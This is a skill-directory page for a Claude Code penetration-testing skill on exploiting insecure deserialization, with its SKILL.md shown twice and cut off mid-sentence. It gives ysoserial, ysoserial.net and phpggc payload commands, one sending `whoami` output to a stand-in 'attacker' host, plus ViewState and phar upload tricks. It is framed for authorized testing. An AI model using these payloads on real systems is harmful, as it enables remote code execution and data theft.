/exploiting-deserialization
Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64
$ npx -y skills add trilwu/secskills --skill exploiting-deserialization --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/exploiting-deserialization
Context preview
The summary Claude sees to decide when to auto-load this skill.
Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64
SKILL.md
exploiting-deserialization.SKILL.mdname: exploiting-deserialization
description: Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64 starting with rO0AB or AAEAAAD, when a cookie or parameter holds a serialized object, or when reviewing readObject, unserialize, pickle.loads, or Marshal.load.
verified: 2026-07-27
Exploiting Deserialization
Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.
Only against systems you are authorized to test.
When to Use
- A cookie, parameter, header, or message body contains a serialized object
- You see the magic values listed below in traffic or storage
- Source review finds `readObject`, `unserialize`, `pickle.loads`,
`Marshal.load`, `BinaryFormatter`, `yaml.load`, or `ObjectInputStream`
- A message queue, cache, or session store holds serialized objects
- You need to confirm a suspected blind deserialization
When NOT to Use
- **JSON/XML parsing without object instantiation** — that is injection or XXE;
use `testing-web-applications`
- **Source-code review as the primary task** — use
`auditing-code-for-vulnerabilities`; return here for exploitation
- **Building a weaponized payload beyond proving impact** — prove control, stop
- **Analyzing malware that uses deserialization** — use `analyzing-malware`
Recognize the Format
Magic bytes identify the runtime, and the runtime decides the entire approach.
| Encoding | Base64 prefix | Raw bytes | Runtime | | --- | --- | --- | --- | | Java serialization | `rO0AB` | `AC ED 00 05` | Java | | .NET `BinaryFormatter` | `AAEAAAD/////` | `00 01 00 00 00 FF FF FF FF` | .NET | | .NET `LosFormatter`/ViewState | often `/wEP` | — | ASP.NET | | PHP `serialize()` | `Tzo`, `YTo` | `O:` , `a:` | PHP | | Python pickle | `gAJ`, `gASV`, `KGRw` | `80 04`, `80 02`, `(dp` | Python | | Ruby Marshal | `BAh` | `04 08` | Ruby | | Java `Hessian`/`Burlap` | `Yw` | `63`/`48` | Java | | YAML with tags | — | `!!python/object`, `!ruby/object` | Multiple |
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3
# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20
Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.
Java
# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0
# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0
**Always start with `URLDNS`.** It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.
Then determine the classpath to pick a chain:
- Error messages and stack traces naming library classes
- `gadgetprobe` (Burp) — sends probes that reveal which classes exist by the
difference in error behaviour
- Version fingerprinting from the application's other responses
Common chains and what they need: `CommonsCollections1–7` (commons-collections 3.x/4.x), `CommonsBeanutils1`, `Spring1/2`, `Groovy1`, `Hibernate1`, `Jdk7u21` (no library needed, but a narrow JDK range), `ROME`, `C3P0`.
**Beyond raw serialization:** Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.
.NET
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
--generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1Vulnerable formatters: `BinaryFormatter`, `LosFormatter`, `NetDataContractSerializer`, `ObjectStateFormatter`, `SoapFormatter`, and `Json.NET`/`XmlSerializer` **when `TypeNameHandling` is not `None`**. That last case is the most common in modern code: `TypeNameHandling.All` or `.Objects` lets the JSON specify its own `$type`, which is deserialization by another name.
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs
**ViewState** is the classic ASP.NET case. Exploitable when the MAC key is known (leaked `web.config`, a known default, or `enableViewStateMac="false"` on old versions). Extract `validationKey` and `decryptionKey` first — without them the payload is rejected.
PHP
// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b # base64 output
phpggc -l # list available chains
# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x
Phar is the underrated vector: it turns *any* filesystem call on an atta
Read more
name: exploiting-deserialization description: Identify and exploit insecure deserialization across Java, .NET, PHP, Python, and Ruby — recognizing serialized formats by magic bytes, finding gadget chains with ysoserial and ysoserial.net, and detecting blind cases via DNS or timing. Use when a request contains base64 starting with rO0AB or AAEAAAD, when a cookie or parameter holds a serialized object, or when reviewing readObject, unserialize, pickle.loads, or Marshal.load. verified: 2026-07-27
Exploiting Deserialization
Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.
Only against systems you are authorized to test.
When to Use
- A cookie, parameter, header, or message body contains a serialized object
- You see the magic values listed below in traffic or storage
- Source review finds `readObject`, `unserialize`, `pickle.loads`,
`Marshal.load`, `BinaryFormatter`, `yaml.load`, or `ObjectInputStream`
- A message queue, cache, or session store holds serialized objects
- You need to confirm a suspected blind deserialization
When NOT to Use
- **JSON/XML parsing without object instantiation** — that is injection or XXE;
use `testing-web-applications`
- **Source-code review as the primary task** — use
`auditing-code-for-vulnerabilities`; return here for exploitation
- **Building a weaponized payload beyond proving impact** — prove control, stop
- **Analyzing malware that uses deserialization** — use `analyzing-malware`
Recognize the Format
Magic bytes identify the runtime, and the runtime decides the entire approach.
| Encoding | Base64 prefix | Raw bytes | Runtime | | --- | --- | --- | --- | | Java serialization | `rO0AB` | `AC ED 00 05` | Java | | .NET `BinaryFormatter` | `AAEAAAD/////` | `00 01 00 00 00 FF FF FF FF` | .NET | | .NET `LosFormatter`/ViewState | often `/wEP` | — | ASP.NET | | PHP `serialize()` | `Tzo`, `YTo` | `O:` , `a:` | PHP | | Python pickle | `gAJ`, `gASV`, `KGRw` | `80 04`, `80 02`, `(dp` | Python | | Ruby Marshal | `BAh` | `04 08` | Ruby | | Java `Hessian`/`Burlap` | `Yw` | `63`/`48` | Java | | YAML with tags | — | `!!python/object`, `!ruby/object` | Multiple |
# Decode anything suspicious you find echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3 # Java: readable class names appear in the stream echo '<b64>' | base64 -d | strings | head -20
Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.
Java
# Generate a payload for a gadget chain present on the target's classpath java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0 java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0 # Blind detection first — URLDNS needs no gadget library at all java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0
**Always start with `URLDNS`.** It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.
Then determine the classpath to pick a chain:
- Error messages and stack traces naming library classes
- `gadgetprobe` (Burp) — sends probes that reveal which classes exist by the
difference in error behaviour
- Version fingerprinting from the application's other responses
Common chains and what they need: `CommonsCollections1–7` (commons-collections 3.x/4.x), `CommonsBeanutils1`, `Spring1/2`, `Groovy1`, `Hibernate1`, `Jdk7u21` (no library needed, but a narrow JDK range), `ROME`, `C3P0`.
**Beyond raw serialization:** Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.
.NET
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
--generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1Vulnerable formatters: `BinaryFormatter`, `LosFormatter`, `NetDataContractSerializer`, `ObjectStateFormatter`, `SoapFormatter`, and `Json.NET`/`XmlSerializer` **when `TypeNameHandling` is not `None`**. That last case is the most common in modern code: `TypeNameHandling.All` or `.Objects` lets the JSON specify its own `$type`, which is deserialization by another name.
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs
**ViewState** is the classic ASP.NET case. Exploitable when the MAC key is known (leaked `web.config`, a known default, or `enableViewStateMac="false"` on old versions). Extract `validationKey` and `decryptionKey` first — without them the payload is rejected.
PHP
// The magic methods that fire during and after unserialize __wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks phpggc Laravel/RCE9 system 'id' phpggc Monolog/RCE2 system 'id' -b # base64 output phpggc -l # list available chains # Phar deserialization: any file-system function on a phar:// path triggers # unserialize of the phar metadata — file_exists, filesize, is_dir, etc. phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar # then get it uploaded and reference it as phar://uploaded.jpg/x
Phar is the underrated vector: it turns *any* filesystem call on an atta
**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

